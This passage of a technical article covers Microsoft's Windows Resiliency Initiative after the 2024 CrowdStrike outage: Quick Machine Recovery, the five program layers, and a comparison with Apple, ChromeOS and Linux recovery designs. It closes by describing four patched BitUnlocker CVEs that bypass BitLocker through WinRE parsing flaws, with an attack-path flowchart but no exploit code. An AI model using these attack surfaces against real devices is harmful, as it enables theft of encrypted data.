&lt;p&gt;  console.log(&apos;Phase 3: acquiring network (&apos; + config.wifi.encryption + &apos; Wi-Fi)&apos;);
  const sig = detectFailureSignature();
  let elapsed = 0;&lt;/p&gt;
&lt;p&gt;  while (true) {
    console.log(&apos;Phase 4: scanning Windows Update for remediation matching &apos; + sig.driver);
    const remediation = scanWindowsUpdate(sig);
    if (remediation) {
      console.log(&apos;  -&amp;gt; Applying &apos; + remediation.id + &apos; (delete &apos; + remediation.path + &apos;)&apos;);
      console.log(&apos;Phase 5: reboot into repaired Windows&apos;);
      return;
    }
    if (config.auto_remediation_mode === &apos;one_time&apos;) {
      console.log(&apos;No remediation found; presenting manual recovery menu&apos;);
      return;
    }
    elapsed += config.wait_interval_minutes;
    if (elapsed &amp;gt;= config.total_wait_time_minutes) {
      console.log(&apos;Looped mode exhausted; falling back to manual recovery menu&apos;);
      return;
    }
    console.log(&apos;  -&amp;gt; No match; sleeping &apos; + config.wait_interval_minutes + &apos; min&apos;);
  }
}&lt;/p&gt;
&lt;p&gt;qmrEnterRecovery();
`}&lt;/p&gt;
&lt;h3&gt;The counterfactual&lt;/h3&gt;
&lt;p&gt;Had QMR existed on July 19, 2024, the per-device labour would have been zero. Microsoft and CrowdStrike would have published a Windows Update remediation that deletes &lt;code&gt;C-00000291*.sys&lt;/code&gt;; every affected device would have entered WinRE on its second failed boot, picked up the remediation, applied it, and rebooted. The 8.5-million-device fleet cost would have collapsed from operator-days to network-minutes. The CrowdStrike RCA published August 6, 2024 documents that the fault-to-rollback time was 78 minutes [@crowdstrike-tech-details, @crowdstrike-rca-pdf]; QMR would have made &lt;em&gt;time-to-rollback&lt;/em&gt; and &lt;em&gt;time-to-fleet-recovery&lt;/em&gt; the same number, plus the per-device Windows Update transit. That is the empirical case Microsoft is making.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Quick Machine Recovery did not add new technology to WinRE. It added a question. WinRE has always had networking drivers; it had never been told it had permission to phone home. The technical innovation is policy, not code -- the &lt;em&gt;Windows Update endpoint&lt;/em&gt; framing is a commitment that the recovery environment may, in well-defined circumstances, act on behalf of the operator who is not there.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;QMR re-priced the per-device cost of recovery from O(N) to roughly O(1). But QMR alone does not explain why Microsoft is calling this the &lt;em&gt;Windows Resiliency Initiative&lt;/em&gt; rather than the &lt;em&gt;Quick Machine Recovery Release&lt;/em&gt;. The next section unpacks the five layers WRI puts around QMR.&lt;/p&gt;
&lt;h2&gt;7. The Program: The Windows Resiliency Initiative as Five Layers&lt;/h2&gt;
&lt;p&gt;WRI is not one feature. It is a layered program. Each layer is a Microsoft-named deliverable with a Microsoft-cited source. The temptation, on reading any single WRI blog post, is to confuse the layer with the program. The layers are concentric. They are also dated.&lt;/p&gt;
&lt;p&gt;Walk the five layers. Each has a Microsoft term, a primary anchor, and a published status as of November 18, 2025.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Microsoft term&lt;/th&gt;
&lt;th&gt;Anchor&lt;/th&gt;
&lt;th&gt;Status as of Nov 18, 2025&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Prevent: stop bad updates leaving the partner&lt;/td&gt;
&lt;td&gt;Safe Deployment Practices (SDP), part of &lt;strong&gt;MVI 3.0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;[@ms-wri-ignite-2024], [@ms-mvi], [@ms-wri-jun-2025]&lt;/td&gt;
&lt;td&gt;Effective April 1, 2025 [@ms-wri-ignite-2025]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prevent: stop bad code being kernel-resident&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Windows endpoint security platform&lt;/strong&gt; (user-mode antivirus)&lt;/td&gt;
&lt;td&gt;[@ms-wri-ignite-2024], [@ms-wri-jun-2025], [@ms-wri-ignite-2025]&lt;/td&gt;
&lt;td&gt;Private preview July 2025; named partners in [@ms-wri-jun-2025]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manage: see the incident at scale&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Intune surfaces WinRE state&lt;/strong&gt;; Mission Critical Services for Windows&lt;/td&gt;
&lt;td&gt;[@ms-wri-ignite-2025]&lt;/td&gt;
&lt;td&gt;Coming soon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Recover: heal the unbootable machine&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Quick Machine Recovery&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;[@ms-wri-ignite-2024], [@ms-qmr], [@ms-wri-ignite-2025]&lt;/td&gt;
&lt;td&gt;GA August 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Recover: rebuild without shipping hardware&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Point-in-Time Restore&lt;/strong&gt;, &lt;strong&gt;Cloud Rebuild&lt;/strong&gt;, &lt;strong&gt;Windows 365 Reserve&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;[@ms-wri-ignite-2025]&lt;/td&gt;
&lt;td&gt;PITR Insider preview Nov 2025; W365R GA; Cloud Rebuild coming&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

flowchart LR
    subgraph L1[1. Prevent: stop bad updates at the partner -- MVI 3.0 SDP]
      subgraph L2[2. Prevent: stop bad code being kernel-resident -- user-mode AV platform]
        subgraph L3[3. Manage: see the incident at scale -- Intune surfaces WinRE state]
          subgraph L4[4. Recover the unbootable: Quick Machine Recovery]
            subgraph L5[5. Rebuild without shipping hardware: PITR / Cloud Rebuild / W365 Reserve]
              CORE[Windows endpoint -- recoverable at fleet scale]
            end
          end
        end
      end
    end
&lt;h3&gt;Layer 1: Safe Deployment Practices and MVI 3.0&lt;/h3&gt;
&lt;p&gt;Microsoft Virus Initiative 3.0 became effective on April 1, 2025 [@ms-wri-ignite-2025]. Membership now requires partners to commit to four named obligations [@ms-mvi]: a signed nondisclosure agreement; use of Microsoft Trusted Signing (the hosted descendant of &lt;a href=&quot;https://paragmali.com/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/&quot; rel=&quot;noopener&quot;&gt;Authenticode&lt;/a&gt;) for AV/EDR driver code-signing; documented Safe Deployment Practices for content updates (gradual rollouts with deployment rings and monitoring); and certification within the last 12 months by at least one of AV-Comparatives, AVLab Cybersecurity Foundation, AV-Test, MRG Effitas, SE Labs, SKD Labs, VB 100, or West Coast Labs [@ms-mvi]. The June 26, 2025 WRI update lists eight named partner endorsements -- Bitdefender (Florin Virlan), CrowdStrike (Alex Ionescu), ESET (Juraj Malcho), SentinelOne (Stefan Krantz), Sophos (John Peterson), Trellix (Jim Treinen), Trend Micro (Rachel Jin), and WithSecure (Johannes Rave) -- and the November 18, 2025 update confirms the effective date verbatim: &quot;Effective April 1, 2025, Version 3.0 of the Microsoft Virus Initiative added new requirements for all Windows antivirus (AV) partners to maintain signing rights for Windows AV drivers&quot; [@ms-wri-jun-2025, @ms-wri-ignite-2025].&lt;/p&gt;

Microsoft&apos;s program for third-party antivirus and endpoint detection vendors that ship products on Windows. MVI 3.0, effective April 1, 2025, adds Safe Deployment Practices, mandatory Trusted Signing, NDA, and 12-month independent test-lab certification as preconditions to maintain Windows AV driver signing rights [@ms-mvi, @ms-wri-ignite-2025].
&lt;p&gt;The model is structurally identical to the canary / progressive-rollout pattern formalised in the Google SRE Book chapter on Release Engineering: hermetic builds, multiple deployment rings, gated promotion between rings, &quot;Push on Green&quot;, and the option to cherry-pick at the same revision when a critical change is needed mid-cycle [@sre-release-eng]. MVI 3.0 is not a Microsoft invention; it is a Microsoft &lt;em&gt;mandate&lt;/em&gt; of a model that has been industry practice for two decades. The mandate is what is new.&lt;/p&gt;
&lt;h3&gt;Layer 2: The Windows endpoint security platform&lt;/h3&gt;
&lt;p&gt;The same November 19, 2024 keynote committed to a &lt;em&gt;Windows endpoint security platform&lt;/em&gt; that lets partners ship their detection logic outside kernel mode, with a private preview promised to security-partner programs by July 2025 [@ms-wri-ignite-2024]. The June 26, 2025 update confirmed the date with named partner endorsements [@ms-wri-jun-2025]. The architectural premise is the one BSOD survivors recognise immediately: a faulty user-mode component can be killed by Task Manager; a faulty kernel-mode driver bug-checks the system.&lt;/p&gt;

Graphics drivers, for example, will continue to run in kernel mode for performance reasons. -- Microsoft, *Preparing for what&apos;s next*, November 18, 2025 [@ms-wri-ignite-2025].
&lt;p&gt;Microsoft is careful to frame WRI as a floor-raiser, not a kernel ban. The November 18, 2025 update enumerates the driver-resiliency playbook for the surfaces that &lt;em&gt;will&lt;/em&gt; remain in kernel mode: mandatory compiler safeguards (control-flow integrity, &lt;a href=&quot;https://paragmali.com/blog/process-mitigation-policies-cfg-acg-cig-and-the-layer-betwee/&quot; rel=&quot;noopener&quot;&gt;CFG&lt;/a&gt;, stack canaries), driver isolation, DMA-remapping, a higher signing bar, and expanded in-box Microsoft drivers and APIs that third parties can call rather than reimplementing [@ms-wri-ignite-2025]. The argument is that the kernel surface that &lt;em&gt;must&lt;/em&gt; exist (graphics, storage, some networking) should be smaller, better isolated, and equipped with mitigations that contain a single fault.&lt;/p&gt;
&lt;p&gt;The June 2025 partner roster is the most pointed piece of evidence that the user-mode direction predates and outlasts the July 2024 incident. CrowdStrike itself is named [@ms-wri-jun-2025]. The vendor that started the chain reaction is publicly endorsing the architectural concession the chain reaction priced into existence.&lt;/p&gt;

The Windows Resiliency Initiative is not Microsoft&apos;s only post-2023 security program. The umbrella is the *Secure Future Initiative* (SFI), announced in November 2023 as the company-wide response to identity-based attacks on Microsoft itself. WRI is the workstream inside SFI that owns Windows availability, kernel resilience, and the recovery path; SFI also owns identity hardening, supply-chain controls, and engineering culture changes. Microsoft&apos;s published WRI blogs are explicit that the recoverability program is &quot;the Windows pillar of our Secure Future Initiative&quot; framing, not a stand-alone effort [@ms-wri-ignite-2024, @ms-wri-jun-2025].
&lt;h3&gt;Layer 3: Intune-surfaced WinRE state&lt;/h3&gt;
&lt;p&gt;The November 18, 2025 update names a new Intune signal: &quot;Intune will surface when a Windows device has booted into the Windows Recovery Environment (WinRE)&quot; [@ms-wri-ignite-2025]. The same signal will appear in the Azure Portal for Windows Server VMs that switched into WinRE. The same update introduces a WinRE plug-in model: IT administrators can push custom recovery scripts through Intune, with the model documented as third-party-MDM-adoptable. Both are &quot;coming soon&quot; as of that announcement [@ms-wri-ignite-2025].&lt;/p&gt;
&lt;p&gt;The architectural insight here is that &lt;em&gt;Microsoft-pushed remediations&lt;/em&gt; (QMR) and &lt;em&gt;administrator-pushed remediations&lt;/em&gt; (Intune scripts) must be expressible against the same WinRE surface, with Intune providing the visibility and audit layer.&lt;/p&gt;
&lt;h3&gt;Layer 4: Quick Machine Recovery&lt;/h3&gt;
&lt;p&gt;Already covered in Section 6. Status: GA August 2025 on Windows 11 24H2 build 26100.4700+ [@ms-qmr, @ms-wri-ignite-2025]. Autopatch QMR management is in preview at the November 2025 announcement [@ms-wri-ignite-2025].&lt;/p&gt;
&lt;h3&gt;Layer 5: Rebuild without shipping hardware&lt;/h3&gt;
&lt;p&gt;The November 18, 2025 update introduces three Microsoft-cloud-side recovery actions [@ms-wri-ignite-2025]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Point-in-Time Restore (PITR).&lt;/strong&gt; Cloud-orchestrated rollback to an earlier point-in-time snapshot of the device&apos;s full state. Status: available in the Windows Insider preview build the week of the announcement.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud Rebuild.&lt;/strong&gt; Intune-portal-triggered clean OS reimage using Autopilot for zero-touch provisioning, with user data and settings restored from OneDrive and Windows Backup for Organizations. Status: coming.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows 365 Reserve.&lt;/strong&gt; A temporary Cloud PC for users whose endpoint is unusable. Status: generally available.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each of these targets a scenario QMR cannot fix. PITR addresses regressions that the user-mode WU pipeline cannot patch back -- driver downgrades that need to roll back state, not push a new patch. Cloud Rebuild addresses devices whose local Windows is genuinely beyond surgical repair. Windows 365 Reserve addresses the productivity gap while the local device is being recovered.&lt;/p&gt;
&lt;p&gt;All five layers are anchored on Microsoft blogs and Microsoft Learn pages. None of them is unique to Microsoft. Apple, ChromeOS, and the Linux atomic distributions have each chosen a different layered architecture for the same problem. What does the field actually look like?&lt;/p&gt;
&lt;h2&gt;8. Competing Models: Apple, ChromeOS, and the Linux Atomic Distributions&lt;/h2&gt;
&lt;p&gt;Microsoft is not the first vendor to treat recovery as part of its security architecture. It is, at consumer scale, among the last. Apple, Google, and the Linux atomic-distribution community each picked a different layer to anchor on.&lt;/p&gt;
&lt;h3&gt;Apple macOS: Signed System Volume + paired/fallback recoveryOS + 1TR&lt;/h3&gt;
&lt;p&gt;macOS 10.15 (Catalina, 2019) introduced the read-only system volume. macOS 11 (Big Sur, 2020) added the &lt;em&gt;Signed System Volume&lt;/em&gt; on top of it: a SHA-256 Merkle tree over every block of the system volume, sealed by Apple at install or update time [@apple-ssv]. On Apple Silicon, the bootloader verifies the seal before transferring control to the kernel; on Intel-based Macs with the T2 Security Chip, the bootloader forwards the measurement and signature to the kernel, which verifies the seal directly before mounting the root file system [@apple-ssv]. On verification failure, the Mac drops into recoveryOS automatically and prompts the user to reinstall.&lt;/p&gt;
&lt;p&gt;The recovery side has three flavours [@apple-boot]: a &lt;em&gt;paired recoveryOS&lt;/em&gt; that exactly matches the installed system version; on Apple Silicon, a &lt;em&gt;fallback recoveryOS&lt;/em&gt; (the previous OS version); and a hardware-anchored &lt;em&gt;1TR&lt;/em&gt; (&quot;one true recovery&quot;) environment that survives even when the paired recoveryOS is broken. The 1TR environment is anchored in the Secure Enclave, which is the macOS analogue of Windows&apos;s signed &lt;code&gt;bootmgfw.efi&lt;/code&gt; on the EFI System Partition.&lt;/p&gt;
&lt;p&gt;What Apple excels at is &lt;em&gt;tampered&lt;/em&gt; system files and &lt;em&gt;failed&lt;/em&gt; updates: the first block read fails Merkle verification; the snapshot pointer flips to the prior good snapshot; the user reboots into a working system. What Apple does &lt;em&gt;not&lt;/em&gt; have is an analogue of QMR&apos;s targeted remediation pipeline. The macOS answer to a faulty signed third-party security agent is &quot;reinstall macOS&quot;. That is wipe-and-reload, not surgical repair.&lt;/p&gt;
&lt;h3&gt;ChromeOS: Verified Boot + A/B root partitions + auto-rollback&lt;/h3&gt;
&lt;p&gt;ChromeOS&apos;s verified-boot design has been the same since 2010 [@chromium-verified-boot]. A read-only boot stub, anchored in write-protected EEPROM, computes a cryptographic hash of the read-write firmware (SHA-1 in the original 2010 specification; SHA-256 in current production firmware) and verifies an RSA signature (at least 2048 bits) against a permanently stored public key [@chromium-verified-boot]. The verified read-write firmware then hashes the kernel and verifies its signed hashes. A transparent block device in the kernel verifies each block against a stored hash tree on every read, with the tree&apos;s root signed by the firmware.&lt;/p&gt;
&lt;p&gt;The recovery story is the brilliant part. ChromeOS devices have two root partitions, &lt;em&gt;ROOT-A&lt;/em&gt; and &lt;em&gt;ROOT-B&lt;/em&gt;, plus a separate stateful partition for user data [@chromium-autoupdate]. Each root partition carries a &lt;code&gt;remaining_attempts&lt;/code&gt; counter (default 6) stored in unused GPT bits next to the bootable flag. On N consecutive failed boots, the boot loader falls back to the &lt;em&gt;other&lt;/em&gt; partition. Auto-updates always write to the partition not currently in use, never the booted one. The result is that ChromeOS recovers from a faulty signed system update in &lt;em&gt;one reboot&lt;/em&gt; per device, automatically, without an operator action. This is the empirical upper bound on automation: no fielded platform recovers a signed-but-faulty boot path faster than one reboot.&lt;/p&gt;
&lt;h3&gt;Linux atomic distributions: OSTree, rpm-ostree, bootc&lt;/h3&gt;
&lt;p&gt;OSTree, the upstream of Fedora&apos;s atomic desktops and CoreOS, is &quot;Git for operating system binaries&quot; [@fedora-silverblue]. It stores content-addressed objects under &lt;code&gt;/ostree/repo&lt;/code&gt;, builds atomic &lt;em&gt;deployments&lt;/em&gt; as hardlink farms under &lt;code&gt;/boot/loader/entries/ostree-$stateroot-$checksum.$serial.conf&lt;/code&gt;, performs a three-way merge of &lt;code&gt;/etc&lt;/code&gt; between the booted deployment and the new one, and atomically swaps the boot directory by flipping a symlink between &lt;code&gt;/ostree/boot.0&lt;/code&gt; and &lt;code&gt;/ostree/boot.1&lt;/code&gt; [@ostree-atomic]. The crash-safe guarantee is verbatim: &quot;if the system crashes or you pull the power, you will have either the old system, or the new one&quot; [@ostree-atomic].&lt;/p&gt;
&lt;p&gt;Fedora Silverblue, Fedora CoreOS, Endless OS, and (since 2024) Fedora&apos;s bootc container-based desktops all ship OSTree by default [@fedora-silverblue]. Where OSTree excels is server fleets and developer workstations; where it struggles is layered third-party packages crossing deployments (the rebase/deploy friction) and the absence of a network-reachable in-recovery remediation analogue to QMR.&lt;/p&gt;
&lt;h3&gt;Traditional Linux: dracut + GRUB rescue + initramfs&lt;/h3&gt;
&lt;p&gt;The &quot;manual safe-mode + delete-the-file&quot; model. A skilled operator with shell access plus iLO / iDRAC / IPMI serial-over-LAN can repair a Linux box; everyone else is in trouble. The CrowdStrike-style incident response on traditional Linux would look exactly the same as it did on Windows: per-device, skilled operator, no automation. The Linux distributions that &lt;em&gt;did&lt;/em&gt; avoid this fate are the OSTree-based atomic ones; the conventional ones are at the same operator-bound floor Windows just climbed off.&lt;/p&gt;

flowchart TB
    subgraph WIN[Windows: WinRE + QMR]
      WIN_WIM[winre.wim on recovery partition or in OS-volume folder] --&amp;gt; WIN_WU[Windows Update endpoint]
    end
    subgraph APL[Apple: macOS]
      APL_PR[Paired recoveryOS] --&amp;gt; APL_SNAP[APFS snapshot revert]
      APL_FB[Fallback recoveryOS / 1TR in Secure Enclave] --&amp;gt; APL_SNAP
    end
    subgraph CHR[ChromeOS]
      CHR_BOOTA[ROOT-A] --&amp;gt; CHR_FALLBACK[Boot loader falls back to other root]
      CHR_BOOTB[ROOT-B] --&amp;gt; CHR_FALLBACK
    end
    subgraph OS[Linux atomic / OSTree]
      OS_DEPNEW[New deployment] --&amp;gt; OS_PRIOR[Prior deployment retained for rollback]
    end
&lt;h3&gt;A head-to-head comparison&lt;/h3&gt;
&lt;p&gt;The dimensions that matter are: year shipped, in-recovery network capability, auto-remediation, signed-but-faulty-driver protection, per-device operator cost during a fleet event, trust floor, and encrypted-volume recovery story.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;Windows WinRE + QMR&lt;/th&gt;
&lt;th&gt;Apple SSV + recoveryOS&lt;/th&gt;
&lt;th&gt;ChromeOS A/B + verified boot&lt;/th&gt;
&lt;th&gt;Linux atomic (OSTree)&lt;/th&gt;
&lt;th&gt;Conventional Linux&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Year shipped&lt;/td&gt;
&lt;td&gt;WinRE 2007 [@wiki-winre]; QMR 2025 [@ms-qmr]&lt;/td&gt;
&lt;td&gt;SSV 2020; recoveryOS / 1TR 2020 [@apple-ssv, @apple-boot]&lt;/td&gt;
&lt;td&gt;Verified Boot 2010 [@chromium-verified-boot]&lt;/td&gt;
&lt;td&gt;OSTree 2012 (dev started 2011); rpm-ostree later [@ostree-atomic, @fedora-silverblue]&lt;/td&gt;
&lt;td&gt;dracut 2009; GRUB 2 2009&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-recovery network capability&lt;/td&gt;
&lt;td&gt;Yes (WPA/WPA2 Wi-Fi or wired) [@ms-qmr]&lt;/td&gt;
&lt;td&gt;Yes for reinstall; no targeted remediation&lt;/td&gt;
&lt;td&gt;Yes for recovery image fetch&lt;/td&gt;
&lt;td&gt;No standard pipeline&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auto-remediation without operator&lt;/td&gt;
&lt;td&gt;Yes (one-time or looped) [@ms-qmr]&lt;/td&gt;
&lt;td&gt;No (user confirms reinstall)&lt;/td&gt;
&lt;td&gt;Yes (boot loader fallback) [@chromium-autoupdate]&lt;/td&gt;
&lt;td&gt;No (user selects rollback in GRUB)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protection against signed-but-faulty drivers&lt;/td&gt;
&lt;td&gt;Behavioural via MVI 3.0 SDP + user-mode AV [@ms-mvi, @ms-wri-jun-2025]&lt;/td&gt;
&lt;td&gt;DriverKit / System Extensions push third parties out of kernel&lt;/td&gt;
&lt;td&gt;A/B rollback auto-recovers in one boot cycle&lt;/td&gt;
&lt;td&gt;Layered package rolls back with deployment&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-device operator cost in a fleet event&lt;/td&gt;
&lt;td&gt;O(1) -- publish remediation once&lt;/td&gt;
&lt;td&gt;O(N) -- each user reinstalls&lt;/td&gt;
&lt;td&gt;O(0) -- automatic per device&lt;/td&gt;
&lt;td&gt;O(N) -- each user selects rollback&lt;/td&gt;
&lt;td&gt;O(N) -- skilled operator per device&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trust floor (unrecoverable without external media)&lt;/td&gt;
&lt;td&gt;Corrupted &lt;code&gt;bootmgfw.efi&lt;/code&gt;, missing WinRE, lost BitLocker key&lt;/td&gt;
&lt;td&gt;Failed 1TR (very rare)&lt;/td&gt;
&lt;td&gt;Both root partitions plus EEPROM corrupted&lt;/td&gt;
&lt;td&gt;GRUB unreachable&lt;/td&gt;
&lt;td&gt;GRUB unreachable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Encrypted-volume recovery story&lt;/td&gt;
&lt;td&gt;BitLocker recovery key required [@ms-qmr]&lt;/td&gt;
&lt;td&gt;FileVault key required if at-rest read needed&lt;/td&gt;
&lt;td&gt;Stateful partition holds user data only&lt;/td&gt;
&lt;td&gt;LUKS passphrase required&lt;/td&gt;
&lt;td&gt;LUKS passphrase required&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The notable row is the &lt;em&gt;per-device operator cost during a fleet event&lt;/em&gt;. QMR moves Windows from O(N) (pre-WRI) to O(1) (post-WRI). ChromeOS was already at O(0) thanks to the A/B rollback. Apple, conventional Linux, and OSTree-based Linux remain at O(N).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The per-device operator cost row is the one Microsoft engineered WRI to change. QMR moves Windows from O(N) to O(1). ChromeOS was already at O(0) by virtue of A/B rollback. Apple, conventional Linux, and OSTree-based Linux remain at O(N). This is the empirical justification for the thesis that resilience is a security property: pre-WRI Windows, despite shipping BitLocker, &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;HVCI&lt;/a&gt;, and Secure Boot, had a &lt;em&gt;recoverability complexity class&lt;/em&gt; worse than ChromeOS. A faulty signed driver could exploit that gap to deny service at fleet scale.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Three vendors got to fleet-scale recovery earlier. Microsoft&apos;s catch-up move is constrained by what Microsoft does not control: OEM partition layouts, BIOS/UEFI variance, BitLocker key escrow.Apple ships hardware-plus-OS and Google ships ChromeOS against an OEM-certified hardware spec, both of which let those vendors specify partition layout end to end. Microsoft ships the OS and asks OEMs to follow the Image Configuration Designer defaults; some do, some do not. The KB5028997 workaround for &quot;recovery partition too small for new winre.wim&quot; is precisely the artefact of Microsoft &lt;em&gt;not&lt;/em&gt; being able to mandate the layout [@ms-winre-tech-ref, @ms-kb5028997]. Those constraints set hard limits on what WRI can fix, and they are the reason the trust-floor row in the table is longer for Windows than for ChromeOS.&lt;/p&gt;
&lt;h2&gt;9. Theoretical Limits and the BitUnlocker Counter-Current&lt;/h2&gt;
&lt;p&gt;Two well-known results from the systems and security literature say that no fielded recovery primitive can be perfect, and Microsoft&apos;s own offensive-research team demonstrated, at Black Hat USA 2025 in August 2025, exactly which limit WRI runs into [@alon-leviev].&lt;/p&gt;
&lt;h3&gt;The trust-floor lower bound&lt;/h3&gt;
&lt;p&gt;No system can recover from corruption of &lt;em&gt;all&lt;/em&gt; of its boot-path code without external media, because the verification step that detects corruption is itself part of the boot-path code. ChromeOS encodes this with a write-protected EEPROM that an attacker cannot rewrite without a hardware write-protect override [@chromium-verified-boot]; Apple encodes it with the 1TR environment anchored in the Secure Enclave [@apple-boot]; Windows encodes it by requiring the EFI System Partition plus a signed &lt;code&gt;bootmgfw.efi&lt;/code&gt;. Below that floor, QMR, OSTree, and APFS snapshots are all helpless. The recovery surface bounded by what fits in write-protected non-volatile storage is the lower bound on automated recovery.&lt;/p&gt;
&lt;h3&gt;The end-to-end argument applied to recovery&lt;/h3&gt;
&lt;p&gt;Saltzer, Reed, and Clark&apos;s 1984 &lt;em&gt;End-to-End Arguments in System Design&lt;/em&gt; [@saltzer-reed-clark-1984] argued that correctness checks belong at the endpoints of a communication system, not in intermediate nodes. Applied to update pipelines, the argument predicts that &lt;em&gt;bug-free updates cannot be guaranteed by intermediate nodes&lt;/em&gt; (the vendor&apos;s QA fleet, the CDN, the Windows Update service). Correctness can only be observed at the endpoint. The corollary is that the probability of a faulty update reaching production cannot be driven to zero by any amount of pre-release testing; the platform&apos;s design must instead bound &lt;em&gt;blast radius&lt;/em&gt; and &lt;em&gt;time-to-recovery&lt;/em&gt; of the faulty updates that will inevitably ship. MVI 3.0&apos;s SDP bounds the first (deployment rings); QMR bounds the second (network-reachable remediation). The argument is identical to the canary / progressive-rollout pattern in Google&apos;s SRE Book Release Engineering chapter [@sre-release-eng].&lt;/p&gt;
&lt;h3&gt;The attack-surface trade-off&lt;/h3&gt;
&lt;p&gt;An auto-unlocking, network-reachable recovery environment expands the Trusted Computing Base. Every additional capability added to the recovery path is a new code path; a new code path is a new attack vector. The BitUnlocker research, by Netanel Ben Simon and Alon Leviev at Microsoft&apos;s Security Testing and Offensive Research (STORM) team [@alon-leviev, @ms-bitunlocker-blog], is the most pointed evidence we have that the trade-off is real.&lt;/p&gt;

STORM -- Security Testing and Offensive Research at Microsoft -- is the internal red team. Their job is to break Microsoft products before someone else does. BitUnlocker was first presented at Black Hat USA 2025 and DEF CON 33, both in August 2025; the four CVEs were patched in the July 8, 2025 cumulative update, ahead of the disclosure [@alon-leviev, @ms-bitunlocker-blog]. The patches landed one Patch Tuesday cycle before QMR went generally available [@ms-wri-ignite-2025]. In the same summer, the same vendor that made WinRE reachable from Windows Update made WinRE harder to abuse.

The set of hardware, firmware, and software components on which a system&apos;s security policy ultimately depends. A bug in a TCB component can undermine the entire security policy; everything outside the TCB is, by definition, untrusted relative to it. Recovery environments expand the TCB because they need privileged access to encrypted user state.
&lt;p&gt;The four BitUnlocker CVEs are all rated CVSS 6.8:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2025-48804&lt;/strong&gt; [@ms-bitunlocker-blog] -- BitLocker Security Feature Bypass via &lt;code&gt;boot.sdi&lt;/code&gt; parsing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2025-48003&lt;/strong&gt; [@ms-bitunlocker-blog] -- BitLocker Security Feature Bypass via &lt;code&gt;SetupPlatform.exe&lt;/code&gt; / Shift+F10 abuse during the WinRE Apps Scheduled Operation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2025-48800&lt;/strong&gt; [@ms-bitunlocker-blog] -- BitLocker Security Feature Bypass via &lt;code&gt;tttracer.exe&lt;/code&gt; abuse during Offline Scanning.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CVE-2025-48818&lt;/strong&gt; [@ms-bitunlocker-blog] -- BitLocker Security Feature Bypass via BCD parsing in the Online PBR exploit chain; the fourth pillar of the chain.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The published Microsoft Security blog post on BitUnlocker enumerates the architectural attack surfaces verbatim under three section headings: &lt;em&gt;Attacking Boot.sdi Parsing&lt;/em&gt;, &lt;em&gt;Attacking ReAgent.xml Parsing&lt;/em&gt;, and &lt;em&gt;Attacking Boot Configuration Data (BCD) Parsing&lt;/em&gt; [@ms-bitunlocker-blog]. The premise is the same in every case. WinRE must read the OS volume&apos;s BitLocker recovery material to perform repairs. Therefore WinRE has code paths that, given the right inputs, can obtain the decrypted Full Volume Encryption Key. The four CVEs each find a parser or debugger inside WinRE whose input handling can be steered by an attacker with brief physical access to flip the recovery flow into a state where the decrypted FVEK becomes reachable.&lt;/p&gt;

flowchart TD
    PA[Physical access foothold] --&amp;gt; SDI[Attacking boot.sdi parsing -- CVE-2025-48804]
    PA --&amp;gt; RA[Attacking ReAgent.xml / SetupPlatform.exe -- CVE-2025-48003]
    PA --&amp;gt; BCD[Attacking BCD parsing / Online PBR -- CVE-2025-48818]
    PA --&amp;gt; TT[Abusing tttracer.exe Offline Scanning -- CVE-2025-48800]
    SDI --&amp;gt; FVEK[Reach decrypted FVEK on OS volume]
    RA --&amp;gt; FVEK
    BCD --&amp;gt; FVEK
    TT --&amp;gt; FVEK
    FVEK --&amp;gt; EX[BitLocker bypass; data exfiltration]
